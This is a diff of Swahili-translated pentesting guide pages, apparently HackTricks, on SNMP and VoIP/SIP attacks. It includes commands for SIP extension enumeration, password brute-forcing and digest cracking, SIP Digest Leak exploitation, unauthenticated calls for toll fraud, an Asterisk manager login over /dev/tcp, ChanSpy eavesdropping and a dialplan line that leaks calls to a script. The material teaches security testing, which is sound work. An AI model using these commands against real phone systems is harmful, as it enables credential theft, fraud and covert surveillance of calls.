- **Akaunti za Watumiaji**: Thamani ya `1.3.6.1.4.1.77.1.2.25` inaruhusu ufuatiliaji wa akaunti za watumiaji.
- **Port za TCP za Mitaa**: Hatimaye, `1.3.6.1.2.1.6.13.1.3` imetengwa kwa ajili ya ufuatiliaji wa port za TCP za mitaa, ikitoa mwanga kuhusu muunganisho hai wa mtandao.
- **Ports za TCP za Mitaa**: Hatimaye, `1.3.6.1.2.1.6.13.1.3` imetengwa kwa ajili ya ufuatiliaji wa ports za TCP za mitaa, ikitoa mwanga juu ya muunganisho hai wa mtandao.
### Cisco
@ -174,11 +174,11 @@ snmp-rce.md
## **SNMP Kubwa**
[Braa](https://github.com/mteg/braa) ni skana kubwa ya SNMP. Matumizi yaliyokusudiwa ya zana kama hii ni, bila shaka, kufanya maswali ya SNMP lakini tofauti na snmpwalk kutoka net-snmp, ina uwezo wa kuuliza majeshi makumi au mamia kwa wakati mmoja, na katika mchakato mmoja. Hivyo, inatumia rasilimali chache za mfumo na inafanya ufuatiliaji HARAKA SANA.
[Braa](https://github.com/mteg/braa) ni skana kubwa ya SNMP. Matumizi yaliyokusudiwa ya zana kama hii ni, bila shaka, kufanya maswali ya SNMP lakini tofauti na snmpwalk kutoka net-snmp, ina uwezo wa kuuliza majeshi makumi au mamia kwa wakati mmoja, na katika mchakato mmoja. Hivyo, inatumia rasilimali chache za mfumo na inafanya skanning HARAKA SANA.
Braa inatekeleza stack yake ya snmp, hivyo HAITAJI maktaba yoyote ya SNMP kama net-snmp.
Braa inatekeleza stack yake ya snmp, hivyo haitaji maktaba yoyote ya SNMP kama net-snmp.
**Syntax:** braa \[Community-string]@\[IP ya server ya SNMP]:\[iso id]
**Syntax:** braa \[Community-string]@\[IP ya seva ya SNMP]:\[iso id]
```bash
braa ignite123@192.168.1.125:.1.3.6.*
```
@ -200,19 +200,19 @@ grep -i "trap" *.snmp
```
### **Majina ya Watumiaji/Maneno ya Siri**
Makaratasi yaliyohifadhiwa ndani ya MIB yanachunguzwa kwa **jaribio la kuingia lililoshindwa**, ambalo linaweza kwa bahati mbaya kujumuisha maneno ya siri yaliyoingizwa kama majina ya watumiaji. Neno muhimu kama _fail_, _failed_, au _login_ linatafutwa ili kupata data muhimu:
Makaratasi yaliyohifadhiwa ndani ya meza za MIB yanachunguzwa kwa **jaribio la kuingia lililoshindwa**, ambalo linaweza kwa bahati mbaya kujumuisha maneno ya siri yaliyoingizwa kama majina ya watumiaji. Neno muhimu kama _fail_, _failed_, au _login_ linatafutwa ili kupata data muhimu:
```bash
grep -i "login\|fail" *.snmp
```
### **Barua pepe**
Hatimaye, ili kutoa **anwani za barua pepe** kutoka kwa data, amri ya **grep** yenye muundo wa kawaida inatumika, ikilenga mifumo inayolingana na muundo wa barua pepe:
Hatimaye, ili kupata **anwani za barua pepe** kutoka kwa data, amri ya **grep** yenye muundo wa kawaida inatumika, ikilenga mifumo inayolingana na muundo wa barua pepe:
```bash
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
```
## Kubadilisha thamani za SNMP
Unaweza kutumia _**NetScanTools**_ kubadilisha **thamani**. Itabidi ujue **nyota ya faragha** ili kufanya hivyo.
Unaweza kutumia _**NetScanTools**_ kubadilisha **thamani**. Itabidi ujue **nywila ya faragha** ili kufanya hivyo.
## Kupotosha

View File

@ -118,7 +118,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
555 Push Notification Service Not Supported
580 Precondition Failure
```
**6xx—Majibu ya Kushindwa kwa Kimataifa**
**6xx—Majibu ya Kushindwa kwa Ulimwengu**
```
600 Busy Everywhere
603 Decline
@ -131,16 +131,16 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
### Telephone Numbers
Moja ya hatua za kwanza ambazo Timu Nyekundu inaweza kufanya ni kutafuta nambari za simu zinazopatikana kuwasiliana na kampuni kwa kutumia zana za OSINT, Utafutaji wa Google au kuchambua kurasa za wavuti.
Moja ya hatua za kwanza ambazo Timu Nyekundu inaweza kufanya ni kutafuta nambari za simu zinazopatikana ili kuwasiliana na kampuni kwa kutumia zana za OSINT, Utafutaji wa Google au kuchambua kurasa za wavuti.
Mara tu unapokuwa na nambari za simu unaweza kutumia huduma za mtandaoni kubaini operator:
Mara tu unapo kuwa na nambari za simu unaweza kutumia huduma za mtandaoni kubaini mtoa huduma:
- [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis&sub=phonenr)
- [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
- [https://www.whitepages.com/](https://www.whitepages.com/)
- [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
Kujua kama operator anatoa huduma za VoIP unaweza kubaini kama kampuni inatumia VoIP... Aidha, inawezekana kwamba kampuni haijakodisha huduma za VoIP lakini inatumia kadi za PSTN kuunganisha PBX yake ya VoIP na mtandao wa simu za jadi.
Kujua kama mtoa huduma anatoa huduma za VoIP unaweza kubaini kama kampuni inatumia VoIP... Aidha, inawezekana kwamba kampuni haijakodisha huduma za VoIP lakini inatumia kadi za PSTN kuunganisha PBX yake ya VoIP na mtandao wa simu za jadi.
Mambo kama majibu ya kiotomatiki ya muziki mara nyingi yanaashiria kwamba VoIP inatumika.
@ -192,7 +192,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
```
- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS scan ni skana ya haraka sana kwa huduma za SIP kupitia UDP, TCP au TLS. Inatumia multithread na inaweza skana maeneo makubwa ya mitandao. Inaruhusu kuonyesha kwa urahisi anuwai ya bandari, skana TCP na UDP, tumia njia nyingine (kwa default itatumia OPTIONS) na kubaini User-Agent tofauti (na zaidi).
- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS scan ni skana ya haraka sana kwa huduma za SIP kupitia UDP, TCP au TLS. Inatumia multithread na inaweza skana maeneo makubwa ya mitandao. Inaruhusu kuashiria kwa urahisi anuwai ya bandari, skana TCP & UDP, tumia njia nyingine (kwa default itatumia OPTIONS) na kubaini User-Agent tofauti (na zaidi).
```bash
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
@ -210,7 +210,7 @@ auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
```
#### Extra Network Enumeration
PBX inaweza pia kuwa inatoa huduma zingine za mtandao kama vile:
PBX inaweza pia kuwa inatoa huduma nyingine za mtandao kama vile:
- **69/UDP (TFTP)**: Sasisho za firmware
- **80 (HTTP) / 443 (HTTPS)**: Kusimamia kifaa kutoka mtandaoni
@ -218,7 +218,7 @@ PBX inaweza pia kuwa inatoa huduma zingine za mtandao kama vile:
- **3306 (MySQL)**: Hifadhidata ya MySQL
- **5038 (Manager)**: Inaruhusu kutumia Asterisk kutoka majukwaa mengine
- **5222 (XMPP)**: Ujumbe ukitumia Jabber
- Na zingine...
- Na nyingine...
### Methods Enumeration
@ -238,9 +238,9 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws
```
### Extension Enumeration
Extensions katika mfumo wa PBX (Private Branch Exchange) zinarejelea **vitambulisho vya ndani vya kipekee vilivyotolewa kwa simu za ndani, vifaa, au watumiaji** ndani ya shirika au biashara. Extensions zinawezesha **kuelekeza simu ndani ya shirika kwa ufanisi**, bila haja ya nambari za simu za nje kwa kila mtumiaji au kifaa.
Extensions katika mfumo wa PBX (Private Branch Exchange) zinarejelea **vitambulisho vya ndani vya kipekee vilivyotolewa kwa simu** za ndani, vifaa, au watumiaji ndani ya shirika au biashara. Extensions zinawezesha **kuelekeza simu ndani ya shirika kwa ufanisi**, bila haja ya nambari za simu za nje kwa kila mtumiaji au kifaa.
- **`svwar`** kutoka SIPVicious (`sudo apt install sipvicious`): `svwar` ni skana ya laini ya PBX ya SIP isiyo na malipo. Katika dhana inafanya kazi kwa njia inayofanana na wardialers wa jadi kwa **kukisia anuwai ya extensions au orodha maalum ya extensions**.
- **`svwar`** kutoka SIPVicious (`sudo apt install sipvicious`): `svwar` ni skana ya laini ya PBX ya SIP isiyolipishwa. Katika dhana inafanya kazi kwa njia inayofanana na wardialers wa jadi kwa **kukisia anuwai ya extensions au orodha maalum ya extensions**.
```bash
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
```
@ -262,19 +262,19 @@ enumiax -v -m3 -M3 10.10.0.10
### Password Brute-Force - online
Baada ya kugundua **PBX** na baadhi ya **extensions/usernames**, Timu Nyekundu inaweza kujaribu **kujiandikisha kupitia njia ya `REGISTER`** kwa extension ikitumia kamusi ya nywila za kawaida ili kufaulu kuingia.
Baada ya kugundua **PBX** na baadhi ya **extensions/usernames**, Timu Nyekundu inaweza kujaribu **kujiandikisha kupitia njia ya `REGISTER`** kwa extension ikitumia kamusi ya nywila za kawaida ili kujaribu nguvu za kujiandikisha.
> [!CAUTION]
> Kumbuka kwamba **jina la mtumiaji** linaweza kuwa sawa na extension, lakini tabia hii inaweza kutofautiana kulingana na mfumo wa PBX, usanidi wake, na mapendeleo ya shirika...
> Kumbuka kwamba **username** inaweza kuwa sawa na extension, lakini tabia hii inaweza kutofautiana kulingana na mfumo wa PBX, usanidi wake, na mapendeleo ya shirika...
>
> Ikiwa jina la mtumiaji si sawa na extension, itabidi **ujue jina la mtumiaji ili kulikabili**.
> Ikiwa username si sawa na extension, itabidi **ujue username ili kujaribu nguvu zake**.
- **`svcrack`** kutoka SIPVicious (`sudo apt install sipvicious`): SVCrack inakuwezesha kufungua nywila ya jina la mtumiaji/extension maalum kwenye PBX.
- **`svcrack`** kutoka SIPVicious (`sudo apt install sipvicious`): SVCrack inakuwezesha kuvunja nywila ya username/extension maalum kwenye PBX.
```bash
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
```
- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack ni mchoraji wa nywila wa mbali kwa huduma za SIP. Rcrack inaweza kujaribu nywila za watumiaji kadhaa katika anwani tofauti za IP na anuwai za bandari.
- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack ni kipanga password cha mbali kwa huduma za SIP. Rcrack inaweza kujaribu nywila za watumiaji kadhaa katika anwani tofauti za IP na anuwai za port.
```bash
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
```
@ -284,21 +284,21 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
### VoIP Sniffing
Ikiwa unapata vifaa vya VoIP ndani ya **Open Wifi network**, unaweza **kunasa taarifa zote**. Zaidi ya hayo, ikiwa uko ndani ya mtandao uliofungwa zaidi (uliounganishwa kupitia Ethernet au Wifi iliyo na ulinzi) unaweza kufanya **MitM attacks kama** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) kati ya **PBX na gateway** ili kunasa taarifa.
Ikiwa utapata vifaa vya VoIP ndani ya **Open Wifi network**, unaweza **sniff all the information**. Zaidi ya hayo, ikiwa uko ndani ya mtandao uliofungwa zaidi (uliounganishwa kupitia Ethernet au Wifi iliyo na ulinzi) unaweza kufanya **MitM attacks such as** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) kati ya **PBX na gateway** ili kuweza sniff taarifa.
Kati ya taarifa za mtandao, unaweza kupata **web credentials** za kusimamia vifaa, **extensions** za watumiaji, **jina la mtumiaji**, anwani za **IP**, hata **hashed passwords** na **RTP packets** ambazo unaweza kuzirejesha ili **kusikia mazungumzo**, na zaidi.
Kati ya taarifa za mtandao, unaweza kupata **web credentials** za kusimamia vifaa, **extensions** za watumiaji, **username**, anwani za **IP**, hata **hashed passwords** na **RTP packets** ambazo unaweza kuzirejesha ili **hear the conversation**, na zaidi.
Ili kupata taarifa hizi unaweza kutumia zana kama Wireshark, tcpdump... lakini **zana iliyoundwa mahsusi kunasa mazungumzo ya VoIP ni** [**ucsniff**](https://github.com/Seabreg/ucsniff).
Ili kupata taarifa hii unaweza kutumia zana kama Wireshark, tcpdump... lakini **specially created tool to sniff VoIP conversations is** [**ucsniff**](https://github.com/Seabreg/ucsniff).
> [!CAUTION]
> Kumbuka kwamba ikiwa **TLS inatumika katika mawasiliano ya SIP** huwezi kuona mawasiliano ya SIP kwa uwazi.\
> Hali hiyo itatokea ikiwa **SRTP** na **ZRTP** vinatumika, **RTP packets hazitakuwa katika maandiko ya wazi**.
> Hali hiyo itatokea ikiwa **SRTP** na **ZRTP** vinatumika, **RTP packets won't be in clear text**.
#### SIP credentials (Password Brute-Force - offline)
[Angalia mfano huu ili kuelewa vyema **SIP REGISTER communication**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) ili kujifunza jinsi **credentials zinavyotumwa**.
[Check this example to understand better a **SIP REGISTER communication**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) ili kujifunza jinsi **credentials being sent**.
- **`sipdump`** & **`sipcrack`,** sehemu ya **sipcrack** (`apt-get install sipcrack`): Zana hizi zinaweza **kutoa** kutoka kwa **pcap** **digest authentications** ndani ya protokali ya SIP na **bruteforce** hizo.
- **`sipdump`** & **`sipcrack`,** sehemu ya **sipcrack** (`apt-get install sipcrack`): Zana hizi zinaweza **extract** kutoka kwa **pcap** **digest authentications** ndani ya protokali ya SIP na **bruteforce** hizo.
```bash
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
@ -307,18 +307,18 @@ sipcrack sip-creds.txt -w dict.txt
```bash
sippts dump -f capture.pcap -o data.txt
```
- **`SIPPTS dcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack ni chombo cha kuvunja uthibitisho wa muhtasari uliopatikana na SIPPTS dump.
- **`SIPPTS dcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack ni chombo cha kuvunja uthibitisho wa muhtasari ulio pata kwa kutumia SIPPTS dump.
```bash
sippts dcrack -f data.txt -w wordlist/rockyou.txt
```
- **`SIPPTS tshark`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark inatoa data ya protokali ya SIP kutoka faili ya PCAP.
- **`SIPPTS tshark`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark inatoa data ya protokali ya SIP kutoka faili la PCAP.
```bash
sippts tshark -f capture.pcap [-filter auth]
```
#### DTMF codes
**Sio tu akreditif za SIP** zinaweza kupatikana katika trafiki ya mtandao, pia inawezekana kupata nambari za DTMF ambazo zinatumika kwa mfano kufikia **voicemail**.\
Inawezekana kutuma nambari hizi katika **INFO SIP messages**, katika **sauti** au ndani ya **RTP packets**. Ikiwa nambari ziko ndani ya RTP packets, unaweza kukata sehemu hiyo ya mazungumzo na kutumia zana multimo kuzitoa:
Inawezekana kutuma nambari hizi katika **INFO SIP messages**, katika **audio** au ndani ya **RTP packets**. Ikiwa nambari ziko ndani ya RTP packets, unaweza kukata sehemu hiyo ya mazungumzo na kutumia zana multimo kuzitoa:
```bash
multimon -a DTMF -t wac pin.wav
```
@ -337,25 +337,25 @@ Ili kufafanua watumiaji wanaweza kufafanuliwa kama:
- **`type=friend`**: Inawezekana kufanya simu kama rika na kuzipokea kama mtumiaji (inatumika na nyongeza)
- **`type=peer`**: Inawezekana kutuma na kupokea simu kama rika (SIP-trunks)
Pia inawezekana kuanzisha uaminifu na kigezo kisichokuwa salama:
Pia inawezekana kuanzisha uaminifu na variable isiyo salama:
- **`insecure=port`**: Inaruhusu muunganisho wa rika ulioidhinishwa na IP.
- **`insecure=invite`**: Haihitaji uthibitisho kwa ujumbe wa INVITE
- **`insecure=port,invite`**: Zote mbili
- **`insecure=port,invite`**: Zote
> [!WARNING]
> Wakati **`type=friend`** inatumika, **thamani** ya kigezo cha **host** **haitatumika**, hivyo ikiwa msimamizi **ataweka vibaya SIP-trunk** akitumia thamani hiyo, **mtu yeyote ataweza kuungana nayo**.
> Wakati **`type=friend`** inatumika, **thamani** ya variable ya **host** **haitatumika**, hivyo ikiwa msimamizi **ataweka vibaya SIP-trunk** akitumia thamani hiyo, **mtu yeyote ataweza kuungana nayo**.
>
> Kwa mfano, usanidi huu utakuwa na hatari:\
> Kwa mfano, usanifu huu utakuwa na hatari:\
> `host=10.10.10.10`\
> `insecure=port,invite`\
> `type=friend`
### Simu za Bure / Makosa ya Muktadha wa Asterisks
Katika Asterisk, **muktadha** ni chombo au sehemu yenye jina katika mpango wa kupiga simu ambayo **inaunganisha nyongeza, hatua, na sheria zinazohusiana**. Mpango wa kupiga simu ni kipengele cha msingi cha mfumo wa Asterisk, kwani unafafanua **jinsi simu zinazokuja na zinazotoka zinavyoshughulikiwa na kuelekezwa**. Muktadha hutumiwa kuandaa mpango wa kupiga simu, kudhibiti ufikiaji, na kutoa utenganisho kati ya sehemu tofauti za mfumo.
Katika Asterisk, **muktadha** ni chombo au sehemu yenye jina katika mpango wa kupiga simu ambayo **inaunganisha nyongeza, vitendo, na sheria zinazohusiana**. Mpango wa kupiga simu ni kipengele cha msingi cha mfumo wa Asterisk, kwani unafafanua **jinsi simu zinazokuja na zinazotoka zinavyoshughulikiwa na kuelekezwa**. Muktadha hutumiwa kuandaa mpango wa kupiga simu, kudhibiti ufikiaji, na kutoa utenganisho kati ya sehemu tofauti za mfumo.
Kila muktadha umeainishwa katika faili ya usanidi, kawaida katika faili ya **`extensions.conf`**. Muktadha huonyeshwa kwa mabano ya mraba, huku jina la muktadha likiwa ndani yao. Kwa mfano:
Kila muktadha umeainishwa katika faili ya usanifu, kawaida katika faili ya **`extensions.conf`**. Muktadha huonyeshwa kwa mabano ya mraba, huku jina la muktadha likiwa ndani yao. Kwa mfano:
```bash
csharpCopy code[my_context]
```
@ -368,7 +368,7 @@ exten => 100,n,Hangup()
```
Hii mfano inaonyesha muktadha rahisi unaoitwa "my_context" na nyongeza "100". Wakati mtu anapopiga 100, simu itajibiwa, ujumbe wa kukaribisha utachezwa, na kisha simu itakatishwa.
Huu ni **muktadha mwingine** unaoruhusu **kupiga nambari nyingine yoyote**:
Hii ni **muktadha mwingine** unaoruhusu **kupiga nambari nyingine yoyote**:
```scss
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
@ -383,11 +383,11 @@ include => external
> Mtu yeyote ataweza kutumia **server kuita nambari nyingine yoyote** (na msimamizi wa server atagharamia simu hiyo).
> [!CAUTION]
> Zaidi ya hayo, kwa kawaida **faili ya `sip.conf`** ina **`allowguest=true`**, hivyo **mtu yeyote** mwenye **hakuna uthibitisho** ataweza kuita nambari nyingine yoyote.
> Zaidi ya hayo, kwa kawaida faili ya **`sip.conf`** ina **`allowguest=true`**, hivyo **mshambuliaji yeyote** asiye na **uthibitisho** ataweza kuita nambari nyingine yoyote.
- **`SIPPTS invite`** kutoka [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite inakagua kama **server ya PBX inaturuhusu kufanya simu bila uthibitisho**. Ikiwa server ya SIP ina usanidi usio sahihi, itaturuhusu kufanya simu kwa nambari za nje. Pia inaweza kuturuhusu kuhamasisha simu kwa nambari ya pili ya nje.
Kwa mfano, ikiwa server yako ya Asterisk ina usanidi mbaya wa muktadha, unaweza kukubali ombi la INVITE bila idhini. Katika kesi hii, mshambuliaji anaweza kufanya simu bila kujua mtumiaji/nywila yoyote.
Kwa mfano, ikiwa server yako ya Asterisk ina usanidi mbaya wa muktadha, unaweza kukubali ombi la INVITE bila idhini. Katika kesi hii, mshambuliaji anaweza kufanya simu bila kujua mtumiaji/nenosiri lolote.
```bash
# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
@ -397,7 +397,7 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
```
### Free calls / Misconfigured IVRS
IVRS inamaanisha **Interactive Voice Response System**, teknolojia ya simu inayowezesha watumiaji kuingiliana na mfumo wa kompyuta kupitia sauti au ingizo la tone. IVRS inatumika kujenga **automated call handling** mifumo inayotoa anuwai ya kazi, kama vile kutoa taarifa, kuelekeza simu, na kukamata ingizo la mtumiaji.
IVRS inamaanisha **Mfumo wa Majibu ya Sauti ya Kichakataji**, teknolojia ya simu inayowezesha watumiaji kuingiliana na mfumo wa kompyuta kupitia sauti au ingizo la tone. IVRS inatumika kujenga **mifumo ya kushughulikia simu kiotomatiki** ambayo inatoa anuwai ya kazi, kama vile kutoa taarifa, kuelekeza simu, na kukamata ingizo la mtumiaji.
IVRS katika mifumo ya VoIP kwa kawaida inajumuisha:
@ -407,7 +407,7 @@ IVRS katika mifumo ya VoIP kwa kawaida inajumuisha:
4. **User input capture**: Kukusanya taarifa kutoka kwa wapiga simu, kama vile nambari za akaunti, vitambulisho vya kesi, au data nyingine yoyote muhimu.
5. **Integration with external systems**: Kuunganisha mfumo wa IVR na hifadhidata au mifumo mingine ya programu ili kufikia au kusasisha taarifa, kutekeleza vitendo, au kuanzisha matukio.
Katika mfumo wa Asterisk VoIP, unaweza kuunda IVR kwa kutumia mpango wa kupiga (**`extensions.conf`** file) na programu mbalimbali kama `Background()`, `Playback()`, `Read()`, na zaidi. Programu hizi zinakusaidia kucheza sauti za maelekezo, kukamata ingizo la mtumiaji, na kudhibiti mtiririko wa simu.
Katika mfumo wa Asterisk VoIP, unaweza kuunda IVR kwa kutumia mpango wa kupiga simu (**`extensions.conf`** file) na programu mbalimbali kama `Background()`, `Playback()`, `Read()`, na zaidi. Programu hizi zinakusaidia kucheza sauti za kuongoza, kukamata ingizo la mtumiaji, na kudhibiti mtiririko wa simu.
#### Example of vulnerable configuration
```scss
@ -418,11 +418,9 @@ exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
```
Kielelezo kilichopita ni mfano ambapo mtumiaji anaombwa **kubonyeza 1 ili kupiga** idara, **2 ili kupiga** nyingine, au **nambari kamili** ikiwa anajua.\
Uthibitisho wa udhaifu ni ukweli kwamba **urefu wa nambari haujakaguliwa, hivyo mtumiaji anaweza kuingiza muda wa sekunde 5 nambari kamili na itapigwa.**
Uthibitisho wa udhaifu ni ukweli kwamba **urefu wa nambari haujakaguliwa, hivyo mtumiaji anaweza kuingiza muda wa sekunde 5 kama nambari kamili na itapigwa.**
### Uingizaji wa Nambari
Kutumia nambari kama:
```scss
exten => _X.,1,Dial(SIP/${EXTEN})
```
@ -434,23 +432,23 @@ Hata hivyo, ikiwa **`${EXTEN}`** inaruhusu kuingiza **zaidi ya nambari** (kama k
```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
```
Hivyo, simu kwa kiendelezi **`101`** na **`123123123`** itatumwa na ni kiendelezi cha kwanza pekee kitakachopokea simu... lakini ikiwa mshambuliaji atatumia **kiendelezi kinachopitisha mechi yoyote** inayofanywa lakini hakipo, anaweza **kuingiza simu tu kwa nambari inayotakiwa**.
Kwa hivyo, simu kwa kiendelezi **`101`** na **`123123123`** itatumwa na ni kiendelezi cha kwanza pekee kinachopokea simu kitakachowekwa... lakini ikiwa mshambuliaji atatumia **kiendelezi kinachopitisha mechi yoyote** inayofanywa lakini hakipo, anaweza **kuingiza simu tu kwa nambari inayotakiwa**.
## Uthibitisho wa SIPDigestLeak
SIP Digest Leak ni udhaifu unaoathiri idadi kubwa ya Simu za SIP, ikiwa ni pamoja na simu za IP za vifaa na programu pamoja na adapta za simu (VoIP hadi analojia). Udhaifu huu unaruhusu **kuvuja kwa jibu la uthibitisho wa Digest**, ambalo linahesabiwa kutoka kwa nenosiri. **Shambulio la nenosiri la mbali linaweza kufanyika** na linaweza kurejesha nenosiri nyingi kulingana na jibu la changamoto.
Uthibitisho wa SIP Digest Leak ni udhaifu unaoathiri idadi kubwa ya Simu za SIP, ikiwa ni pamoja na simu za IP za vifaa na programu pamoja na adapta za simu (VoIP hadi analojia). Udhaifu huu unaruhusu **kuvuja kwa jibu la uthibitisho wa Digest**, ambalo linahesabiwa kutoka kwa nenosiri. **Shambulio la nenosiri la mbali linaweza kufanyika** na linaweza kurejesha nenosiri nyingi kulingana na jibu la changamoto.
**[Muktadha wa udhaifu kutoka hapa**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
1. Simu ya IP (mohaka) inasikiliza kwenye bandari yoyote (kwa mfano: 5060), ikikubali simu
1. Simu ya IP (mhasiriwa) inasikiliza kwenye bandari yoyote (kwa mfano: 5060), ikikubali simu
2. Mshambuliaji anatumia INVITE kwa Simu ya IP
3. Simu ya mohaka inaanza kupiga kelele na mtu anachukua na kutundika (kwa sababu hakuna anayejibu simu upande wa pili)
4. Wakati simu inatundikwa, **simu ya mohaka inatuma BYE kwa mshambuliaji**
3. Simu ya mhasiriwa inaanza kupiga kelele na mtu anachukua na kutundika (kwa sababu hakuna anayejibu simu upande wa pili)
4. Wakati simu inatundikwa, **simu ya mhasiriwa inatuma BYE kwa mshambuliaji**
5. **Mshambuliaji anatoa jibu la 407** ambalo **linahitaji uthibitisho** na kutoa changamoto ya uthibitisho
6. **Simu ya mohaka inatoa jibu kwa changamoto ya uthibitisho** katika BYE ya pili
7. **Mshambuliaji anaweza kisha kutoa shambulio la brute-force** kwenye jibu la changamoto kwenye mashine yake ya ndani (au mtandao ulio sambamba n.k.) na kukisia nenosiri
6. **Simu ya mhasiriwa inatoa jibu kwa changamoto ya uthibitisho** katika BYE ya pili
7. **Mshambuliaji anaweza kisha kutoa shambulio la nguvu za kikatili** kwenye jibu la changamoto kwenye mashine yake ya ndani (au mtandao ulioenea nk) na kukisia nenosiri
- **SIPPTS leak** kutoka [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS leak inatumia udhaifu wa SIP Digest Leak unaoathiri idadi kubwa ya Simu za SIP. Matokeo yanaweza kuhifadhiwa katika muundo wa SipCrack ili kujaribu nguvu kutumia SIPPTS dcrack au zana ya SipCrack.
- **SIPPTS leak** kutoka [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS leak inatumia udhaifu wa SIP Digest Leak unaoathiri idadi kubwa ya Simu za SIP. Matokeo yanaweza kuhifadhiwa katika muundo wa SipCrack ili kuyashambulia kwa kutumia SIPPTS dcrack au zana ya SipCrack.
```bash
sippts leak -i 10.10.0.10
@ -473,7 +471,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
```
### Click2Call
Click2Call inaruhusu **mtumiaji wa wavuti** (ambaye kwa mfano anaweza kuwa na hamu na bidhaa) **kuwasilisha** nambari yake ya **simu** ili apigiwe simu. Kisha biashara itapigiwa simu, na wakati atakap **chukua simu** mtumiaji atakuwa **apigiwa simu na kuunganishwa na wakala**.
Click2Call inaruhusu **mtumiaji wa wavuti** (ambaye kwa mfano anaweza kuwa na hamu ya bidhaa) **kuwasilisha** nambari yake ya **simu** ili apigiwe simu. Kisha, biashara itapigiwa simu, na wakati atakap **chukua simu** mtumiaji atakuwa **apigiwa simu na kuunganishwa na wakala**.
Profaili ya kawaida ya Asterisk kwa hili ni:
```scss
@ -486,7 +484,7 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
```
- Profaili ya awali inaruhusu **ANAYE IP yoyote kuungana** (ikiwa nenosiri linajulikana).
- Ili **kuandaa simu**, kama ilivyobainishwa hapo awali, **hakuna ruhusa za kusoma zinazohitajika** na **tu** **kuanzisha** katika **kuandika** inahitajika.
- Ili **kuandaa simu**, kama ilivyoelezwa hapo awali, **hakuna ruhusa za kusoma zinazohitajika** na **tu** **kuanzisha** katika **kuandika** kunahitajika.
Kwa ruhusa hizo, IP yoyote inayojua nenosiri inaweza kuungana na kutoa taarifa nyingi, kama:
```bash
@ -497,7 +495,7 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
### **Kusikiliza kwa siri**
Katika Asterisk inawezekana kutumia amri **`ChanSpy`** kuashiria **kiunganishi (s) cha kufuatilia** (au vyote) kusikia mazungumzo yanayoendelea. Amri hii inahitaji kupewa kiunganishi.
Katika Asterisk inawezekana kutumia amri **`ChanSpy`** kuashiria **kiunganishi (extension) cha kufuatilia** (au vyote) ili kusikia mazungumzo yanayoendelea. Amri hii inahitaji kupewa kiunganishi.
Kwa mfano, **`exten => 333,1,ChanSpy('all',qb)`** inaonyesha kwamba ikiwa **unapiga** **kiunganishi 333**, itakuwa **inatazama** **`vyote`** viunganishi, **kuanza kusikiliza** kila wakati mazungumzo mapya yanapoanza (**`b`**) katika hali ya kimya (**`q`**) kwani hatutaki kuingilia kati. Unaweza kuhamia kutoka mazungumzo moja hadi nyingine kwa kubonyeza **`*`**, au kuandika nambari ya kiunganishi.
@ -511,17 +509,17 @@ exten => _X.,2,MixMonitor(${NAME})
```
Calls will be saved in **`/tmp`**.
You could also even make Asterisk **kufanya script ambayo itavuja simu** when it's closed.
You could also even make Asterisk **execute a script that will leak the call** when it's closed.
```scss
exten => h,1,System(/tmp/leak_conv.sh &)
```
### RTCPBleed vulnerability
**RTCPBleed** ni tatizo kubwa la usalama linaloathiri seva za VoIP za msingi wa Asterisk (zilizochapishwa mwaka 2017). Uthibitisho huu unaruhusu **RTP (Real Time Protocol) traffic**, inayobeba mazungumzo ya VoIP, **kukamatwa na kuelekezwa na mtu yeyote kwenye Mtandao**. Hii inatokea kwa sababu trafiki ya RTP inapita uthibitisho inapopita kupitia moto wa NAT (Network Address Translation).
